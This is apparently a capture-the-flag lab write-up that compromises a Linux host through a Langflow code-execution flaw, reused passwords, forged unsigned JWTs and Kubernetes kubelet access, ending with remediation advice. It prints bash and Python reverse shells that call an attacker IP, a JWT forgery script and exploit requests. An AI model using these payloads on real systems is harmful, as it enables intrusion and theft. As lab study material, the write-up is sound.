Target: 10.129.32.42 · Linux · Langflow RCE · unsigned JWT · Kubernetes nodes/proxy
Fireflow chains four trust failures. A public page leaks a Langflow flow ID, enabling unauthenticated Python execution through CVE-2026-33017. A password in Langflow's environment is reused by the local nightfall account. Nightfall then exposes credentials for an internal MCP registry that accepts unsigned JWTs, allowing an attacker to register and run Python in a Kubernetes pod. Finally, the pod's service account can proxy to kubelet, where a privileged node-exporter pod mounts the host root filesystem.
Note: Flag values are intentionally redacted. Their host locations are /home/nightfall/user.txt and /root/root.txt.
Attack path at a glance
- Enumerate SSH and HTTPS; identify
fireflow.htb. - Extract
flow.fireflow.htband a public Langflow flow UUID. - Exploit CVE-2026-33017 for execution as
www-data. - Reuse the Langflow password to SSH as
nightfall. - Forge an unsigned MCP JWT with
role: admin. - Register a Python tool and enter the MCP Kubernetes pod.
- Abuse
get nodes/proxyto reach kubelet exec. - Execute as UID 0 in a privileged pod with the host root mounted.
Enumeration
ping -c 3 -W 2 10.129.32.42
nmap -Pn -n -p- --min-rate 1000 --max-retries 2 10.129.32.42
nmap -Pn -n -sC -sV --version-all -p22,443 10.129.32.42
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
443/tcp open ssl/http nginx
Subject: CN=fireflow.htb
SANs: DNS:fireflow.htb, DNS:*.fireflow.htb
Port 80 was closed on the live instance. The wildcard certificate supported virtual-host enumeration without changing /etc/hosts:
TARGET=10.129.32.42
curl -ksS --resolve fireflow.htb:443:$TARGET https://fireflow.htb/ -o fireflow.html
grep -Eo 'https://flow\.fireflow\.htb[^" <]+' fireflow.html
https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25
The Langflow API reported an affected release:
curl -ksS --resolve flow.fireflow.htb:443:$TARGET \
https://flow.fireflow.htb/api/v1/version
{"version":"1.8.2","main_version":"1.8.2","package":"Langflow"}
Initial access: CVE-2026-33017
CVE-2026-33017 affects Langflow before 1.9.0. The public build endpoint accepts attacker-controlled flow data and evaluates Python from component definitions without authentication or sandboxing. The leaked UUID supplied the only instance-specific prerequisite.
I hand-built the request instead of executing a third-party exploit. Its custom component used an import-time side effect:
import os
_x = os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.78/4444 0>&1'")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name = "X"
outputs = [Output(display_name="O", name="o", method="r")]
def r(self) -> Data:
return Data(data={})
After placing that code in the component's template.code.value, start a listener and send the complete flow JSON:
nc -lvnp 4444
curl -ksS --resolve flow.fireflow.htb:443:10.129.32.42 \
-X POST \
'https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow' \
-H 'Content-Type: application/json' \
-H 'Cookie: client_id=attacker' \
--data-binary @langflow_rce.json
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
/var/lib/langflow
Nightfall and the user flag
The Langflow environment disclosed a password and secret key:
cat /etc/langflow/.env
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
/etc/passwd contained the local user nightfall. The service password was reused:
ssh nightfall@10.129.32.42
# password: n1ghtm4r3_b4_n1ghtf4ll
uid=1000(nightfall) gid=1000(nightfall) groups=1000(nightfall)
The user flag was at /home/nightfall/user.txt.
MCP registry and unsigned JWTs
Nightfall's MCP configuration exposed an internal service:
cat ~/.mcp/config.json
{
"server": "http://10.129.32.42:30080",
"status_endpoint": "/api/v1/version",
"user": "langflow-bot",
"password": "Langfl0w@mcp2026!"
}
Port 30080 was filtered from the VPN but reachable from Fireflow. Its version response advertised HS256 and none as supported JWT algorithms and an admin-only tool-registration route.
USER_JWT=$(curl -sS -X POST http://10.129.32.42:30080/api/v1/auth \
-H 'Content-Type: application/json' \
-d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
printf '%s' "$USER_JWT" | cut -d. -f2 | base64 -d 2>/dev/null
{"sub":"langflow-bot","role":"user"}
The real user token was denied by the admin route. Because the verifier also accepted alg: none, no signing key was needed to forge an administrator:
import base64, json
def b64url(obj):
raw = json.dumps(obj, separators=(",", ":")).encode()
return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
header = b64url({"alg":"none","typ":"JWT"})
claims = b64url({"sub":"attacker","role":"admin"})
print(f"{header}.{claims}.")
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiJ9.
The forged token authorized a temporary Python tool that connected to the operator and spawned /bin/sh. The registration body was:
{
"name": "audit_shell",
"description": "temporary diagnostic shell",
"inputSchema": {"type":"object","properties":{}},
"code": "import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\ns=socket.socket()\ns.connect((\"10.10.14.78\",5555))\n[os.dup2(s.fileno(),i) for i in (0,1,2)]\npty.spawn(\"/bin/sh\")"
}
After saving that as /tmp/mcp_register_shell.json on Fireflow:
ADMIN_JWT='eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiJ9.'
curl -sS -X POST http://10.129.32.42:30080/api/v1/tools \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $ADMIN_JWT" \
--data-binary @/tmp/mcp_register_shell.json
{"status":"registered","name":"audit_shell"}
curl -sS -X POST http://10.129.32.42:30080/mcp \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $ADMIN_JWT" \
-d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"audit_shell","arguments":{}}}'
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)
mcp-server-54464cb475-29ztf
Kubernetes privilege escalation
The MCP workload ran in Kubernetes. A self-review of its service-account permissions revealed the dangerous right:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
API=https://10.43.0.1:443
curl -sk -X POST "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'
{'verbs': ['get'], 'apiGroups': [''], 'resources': ['nodes/proxy']}
This permission authorized calls to the node's kubelet API. The pod listing exposed a privileged node-exporter with host paths:
curl -sk https://10.129.32.42:10250/pods \
-H "Authorization: Bearer $TOKEN"
monitoring prometheus-prometheus-node-exporter-nmntq \
node-exporter ['/proc', '/sys', '/']
The host root mount appeared inside the container at /host/root. A small reviewed Python websocket client connected to kubelet's exec endpoint using the pod token, selected the node-exporter container, and passed explicit command arguments:
python3 /tmp/kube_exec.py /bin/sh -c 'id; whoami'
python3 /tmp/kube_exec.py /bin/cat /host/root/root/root.txt
uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)
root
[root flag redacted]
{"metadata":{},"status":"Success"}
The container path /host/root/root/root.txt maps to host path /root/root.txt.
Credentials
| Context | Username | Password | Impact |
|---|---|---|---|
| Langflow | langflow | n1ghtm4r3_b4_n1ghtf4ll | Leaked from the environment |
| Linux SSH | nightfall | n1ghtm4r3_b4_n1ghtf4ll | Password reuse yielded user access |
| MCP registry | langflow-bot | Langfl0w@mcp2026! | Issued a normal user JWT |
Remediation
- Upgrade Langflow to 1.9.0 or later and restrict public flow-build endpoints.
- Rotate all exposed passwords, the Langflow secret key, and derived tokens; eliminate password reuse.
- Reject unsigned JWTs and use a fixed server-side algorithm allowlist with complete claim validation.
- Do not execute arbitrary Python supplied through MCP tool registration; require reviewed, sandboxed tools and strong administrative approval.
- Remove
nodes/proxyfrom the MCP service account and enforce least-privilege RBAC. - Restrict kubelet network access and alert on exec operations.
- Avoid privileged pods and host-root mounts; use narrow, read-only node-exporter mounts and Pod Security admission.